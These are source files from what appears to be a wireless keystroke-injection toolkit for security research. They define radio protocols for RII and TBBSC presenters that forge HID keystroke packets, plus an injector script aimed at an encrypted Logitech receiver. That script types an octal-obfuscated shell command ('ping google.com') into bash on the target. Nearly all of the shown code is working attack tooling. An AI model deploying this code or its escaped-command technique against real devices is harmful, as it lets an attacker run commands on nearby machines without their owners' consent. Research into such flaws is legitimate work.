/tools/protocols/rii.py: -------------------------------------------------------------------------------- 1 | from .protocol import Protocol 2 | from lib import common 3 | from collections import deque 4 | from threading import Thread 5 | 6 | import time 7 | import struct 8 | 9 | 10 | class RII(Protocol): 11 | """RII rounded-pen wireless presenter""" 12 | 13 | def __init__(self, address): 14 | """Constructor""" 15 | 16 | self.address = address 17 | super(RII, self).__init__("RII") 18 | 19 | 20 | def configure_radio(self): 21 | """Configure the radio""" 22 | 23 | # Put the radio in sniffer mode 24 | common.radio.enter_sniffer_mode(self.address, rate=common.RF_RATE_250K) 25 | 26 | # Set the channels to [25] 27 | common.channels = [25] 28 | 29 | # Set the initial channel 30 | common.radio.set_channel(common.channels[0]) 31 | 32 | # Initial sequence number 33 | self.seq = 0 34 | 35 | def start_injection(self): 36 | """Enter injection mode""" 37 | 38 | # Build a dummy HID payload 39 | self.seq = 0 40 | self.dummy_pld = b"\x00\x00\x00" 41 | 42 | # Start the TX loop 43 | self.cancel_tx_loop = False 44 | self.tx_queue = deque() 45 | self.tx_thread = Thread(target=self.tx_loop) 46 | self.tx_thread.daemon = True 47 | self.tx_thread.start() 48 | 49 | # Queue up 50 dummy packets for initial dongle sync 50 | for x in range(50): 51 | self.tx_queue.append(self.dummy_pld) 52 | 53 | def tx_loop(self): 54 | """TX loop""" 55 | 56 | while not self.cancel_tx_loop: 57 | # Read from the queue 58 | if len(self.tx_queue): 59 | 60 | # Transmit the queued packet a couple times 61 | payload = self.tx_queue.popleft() 62 | for x in range(2): 63 | ack_timeout = 1 # 500ms 64 | retries = 4 65 | common.radio.transmit_payload(payload, ack_timeout, retries) 66 | 67 | # No queue items; transmit a dummy packet 68 | else: 69 | self.tx_queue.append(self.dummy_pld) 70 | 71 | def stop_injection(self): 72 | """Leave injection mode""" 73 | while len(self.tx_queue): 74 | time.sleep(0.001) 75 | continue 76 | self.cancel_tx_loop = True 77 | self.tx_thread.join() 78 | 79 | def send_hid_event(self, scan_code=0, modifiers=0): 80 | """Send a HID event""" 81 | 82 | # Build and queue packet payload 83 | payload = struct.pack("BBB", 0x40 | (self.seq & 0x0f), scan_code, 84 | modifiers) 85 | self.tx_queue.append(payload) # add packet to queue 86 | self.seq += 1 # increase sequence number 87 | -------------------------------------------------------------------------------- /tools/protocols/tbbsc.py: -------------------------------------------------------------------------------- 1 | from .protocol import Protocol 2 | from lib import common 3 | from collections import deque 4 | from threading import Thread 5 | import time 6 | import logging 7 | import crcmod 8 | import struct 9 | 10 | 11 | # TBBSC DSIT-60 wireless presenter 12 | class TBBSC(Protocol): 13 | 14 | # Constructor 15 | def __init__(self, address): 16 | 17 | self.address = address 18 | 19 | super(TBBSC, self).__init__("TBBSC") 20 | 21 | 22 | # Configure the radio 23 | def configure_radio(self): 24 | 25 | # Put the radio in sniffer mode 26 | common.radio.enter_sniffer_mode(self.address, rate=common.RF_RATE_250K) 27 | 28 | # Set the channels to [6] 29 | common.channels = [6] 30 | 31 | # Set the initial channel 32 | common.radio.set_channel(common.channels[0]) 33 | 34 | # Initial sequence number 35 | self.seq = 0 36 | 37 | 38 | def send_hid_event(self, scan_code=0, shift=False, ctrl=False, win=False): 39 | 40 | # Keystroke modifiers 41 | modifiers = 0x00 42 | if shift: modifiers |= 0x20 43 | if ctrl: modifiers |= 0x01 44 | if win: modifiers |= 0x08 45 | 46 | # Build and transmit the payload 47 | payload = ("%02x:42:%02x:%02x" % (self.seq&0x0f, modifiers, scan_code)).replace(":", "").decode("hex") 48 | for x in range(2): 49 | ack_timeout = 1 # 500ms 50 | retries = 4 51 | common.radio.transmit_payload(payload, ack_timeout, retries) 52 | self.seq += 1 53 | 54 | 55 | # Enter injection mode 56 | def start_injection(self): 57 | return 58 | 59 | 60 | # Leave injection mode 61 | def stop_injection(self): 62 | return 63 | -------------------------------------------------------------------------------- /tools/r500-injector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import time, logging, crcmod, struct 4 | from lib import common 5 | from protocols import * 6 | 7 | # Parse command line arguments and initialize the radio 8 | common.init_args('./r500-injector.py') 9 | common.parser.add_argument('-a', '--address', type=str, help='Target address') 10 | common.parse_and_init() 11 | 12 | # Parse the address 13 | address = '' 14 | if common.args.address is not None: 15 | address = common.args.address.replace(':', '').decode('hex')[::-1] 16 | address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) 17 | 18 | # Initialize the target protocol 19 | if len(address) != 5: 20 | raise Exception('Invalid address: {0}'.format(common.args.address)) 21 | p = Logitech(address, encrypted=True) 22 | 23 | # Initialize the injector instance 24 | i = Injector(p) 25 | 26 | # Inject "ping google.com" into bash 27 | i.start_injection() 28 | i.inject_string("$'\\160\\151\\156\\147' $'\\147\\157\\157\\147\\154\\145\\056\\143\\157\\155'") 29 | i.send_enter() 30 | i.stop_injection() 31 | 32 | --------------------------------------------------------------------------------